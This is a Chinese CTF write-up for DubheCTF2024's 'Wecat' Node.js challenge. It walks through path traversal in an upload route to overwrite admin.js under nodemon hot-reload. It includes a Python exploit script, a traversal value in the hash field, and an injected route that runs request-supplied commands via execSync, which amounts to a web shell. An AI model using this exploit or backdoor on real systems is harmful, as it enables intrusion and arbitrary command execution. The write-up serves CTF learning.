DubheCTF2024

本文最后更新于:8 个月前

DubheCTF2024

Web

Wecat

一次酣畅淋漓的走弯路。。。复现一下吧

先看Dockerfile,flag是被挪到根目录下并且上了权限了,并且有一个可执行文件readflag,用于读取flag,看来最终目的基本上确定是rce了。

在处理node类的题目其实最应该先关注一下packahe.json,看看调用了哪些库,有无历史漏洞等,但是这里自己做的时候疏忽了一点,那就是脚本的启动方式

这里使用的是npm run dev来运行脚本,dev在package.json的script下定义:

使用了nodemon来进行热部署,nodemon能用于监测文件的变化,一旦发生变化就自动重启程序以提高开发效率,因此这道题的思路便可以多一种文件添加或者文件覆盖上

随便注册一个号,进去之后修改admin的号,然后用admin登陆下,后台什么的好像没什么区别

登陆的逻辑在这里,分成了uid和密码两个路由,重点看密码的部分,从请求体获得到的参数是email和pwd,登陆成功后返回一个token给客户端,(当时就没注意到这个token导致访问其他的路由都提示身份验证失效):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//src\route\login.js
router.post('/wechatAPI/login/pwd', async (ctx) => {
ctx.status = 200
const data = ctx.request.body
const queryMatch = {
$match: {
email: data.email,
pwd: data.pwd
}
}
...
const result = await db.aggregate('user', [queryMatch, queryProject])
let res
if (result.length > 0) {
const token = jwt.getToken(ctx.email) // 当密码验证成功时,返回token给客户端
res = {
msg: '登录成功',
error: false,
token,
data: result[0]
}
} else {
...
}
ctx.body = res
})

/wechatAPI/login/modifyPwd路由是修改密码的,请求方式是put

login.js下要注意的地方就这两个了,再去看看别的路由,有个uplod.js,是实现文件上传的路由文件,上面提到nodemon可以监测文件变化,若发生变化就重启脚本,因此可以考虑如何进行路径穿越的文件上传,看看路由,/wechatAPI/upload/once路由对保存文件的处理虽然有强制拼接一个avatar_的前缀,但是后面的hash变量和postfix我们都是可控的,并且没有任何过滤,就是一个任意文件上传

先登录获得token,

文件的请求体不太会搞,写了个html上传表单到/wechatAPI/login/once路由,

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.64.1:8088/wechatAPI/upload/once" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="hidden" name="name" value="evil">
<input type="hidden" name="hash" value="qwq">
<input type="hidden" name="postfix" value="js">
<input type="submit">
</form>
</body>
</html>

bp抓包,再手动添加一个Auth头,内容为token,并且根据once路由的逻辑,把hash修改进行目录穿越

可以看到目录穿越成功了,下一步就是要覆盖原文件了,

node知识储备无限接近于0,好在有AI,再结合一下其他的路由和常见node执行os命令的方式,凑出了个路由:

写在src/routr/admin.js下然后上传

成功执行命令:

另外写了个python脚本用于自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

base_url = "http://192.168.64.1:8088"

data = {
'email': "2224271513@qq.com",
'pwd': "Lff123"
}

r = requests.post(url=base_url+"/wechatAPI/login/pwd",data=data)

token = r.json()['token']

headers = {
'Authorization': token
}

file_path = 'eviljs'

data = {
'name': 'qwq',
"hash": "daasasasasasaas/../../src/route/admin",
"postfix": "js"
}

with open(file_path, 'rb') as file:
files = {'file': (file_path, file)}
r = requests.post( url=base_url+'/wechatAPI/upload/once', files=files, headers=headers, data=data)
print(r.text)

eviljs中的内容,在原先admin.js的基础上新增一个路由:

1
2
3
4
5
6
7
8
9
10
11
router.post('/wechatAPI/admin/execute', async (ctx) => {
const { command } = ctx.request.body;

if (!command) {
ctx.status = 400;
ctx.body = '请提供要执行的命令';
return;
}
let res = require('child_process').execSync(command)
ctx.body = res;
});